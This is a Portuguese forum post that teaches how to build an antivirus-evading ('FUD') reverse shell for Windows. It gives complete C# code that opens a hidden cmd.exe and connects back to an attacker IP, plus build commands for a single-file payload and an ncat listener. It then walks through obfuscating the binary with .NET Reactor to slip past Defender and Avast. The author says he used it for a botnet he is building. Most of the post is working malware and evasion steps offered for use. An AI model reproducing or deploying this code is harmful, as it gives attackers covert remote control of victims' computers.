Estou compartilhando uma maneira noob simples e preguiçosa de criar shell reverso FUD sem detecção de habilidades necessárias (1/69).
Existem muitas maneiras e scripts para conseguir isso, mas estou compartilhando o mais simples
Softwares Necessários
Não vou mentir, estou usando o Windows para criar malwares, então você precisará de:
SDK .NET
reator .NET
compilador C#
IDE básico (por exemplo, VScode)
NetcatName
Habilidades necessárias
(Nenhum)
Vamos começar
Ao pesquisar no Google, descobri que usar cmd.exe para executar o processo tornará o programa quase FUD, em vez de criar um código que se conecte diretamente ao host. Então, aqui está o código C# simples:
Desculpem o recuo mas tive dificuldade em formatar este post.
Código:
[/align]
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient("<attacker_ip>", 1234))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
[align=left]
Como quero manter este "tutorial" muito amigável, vou apenas explicar como compilar o código e torná-lo ainda mais FUD com o reator .NET :
- Crie uma pasta de projeto, abra-a com dotnet e execute
Código:
dotnet new console
- Crie um arquivo Program.cs com o código
- Correr
Código:
dotnet build
- Você pode tentar executar seu código usando
Código:
dotnet run
- Se você abrir um terminal com
Código:
ncat -lvp 1234*
você vai conseguir a conexão
*nc está no linux e ncat está no Windows
Para compilar, você pode apenas usar este comando, certifique-se de usar PublishSingleFile para poder implantar sua carga útil facilmente com um único exe:
Código:
dotnet publish --output <output_path> --configuration Release --self-contained true --runtime win-x64 -p:PublishSingleFile=true
Agora que está doente, com o exe atual você pode ignorar o tempo de execução do defensor, mas alguns AV como o Avast ainda irão detectá-lo, aqui está como corrigir.
Open .NET Reactor, é um bom programa com muitas opções para ofuscar seu malware .NET e editor de montagem.
Abra seu exe compilado no "Main Assembly", verifique a criptografia de string, ofuscação, anti ILDASM e, finalmente, "ofuscação de fluxo de controle" e defina um número alto.
Para pessoas curiosas e inteligentes que desejam saber o que estão fazendo, você pode ler estes documentos: https://www.eziriz.com/help/definitions/anti_debug/
Eu usei isso para ignorar o AV para o botnet que estou criando FUD runtime IDS/IPS....
:angel: E por um movimento de magia espiritual você clicará em proteger e seu FUD reverse shell será gerado.